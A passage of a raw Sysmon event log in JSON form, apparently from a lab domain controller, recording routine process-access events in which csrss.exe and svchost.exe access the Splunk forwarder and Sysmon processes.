AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010001F0500}\r\nTargetProcessId: 4340\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010001F0500}","TargetProcessId":"4340","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3907,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3908,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3909,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3910,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3911,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3912,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3913,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.002","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3914,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.002\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 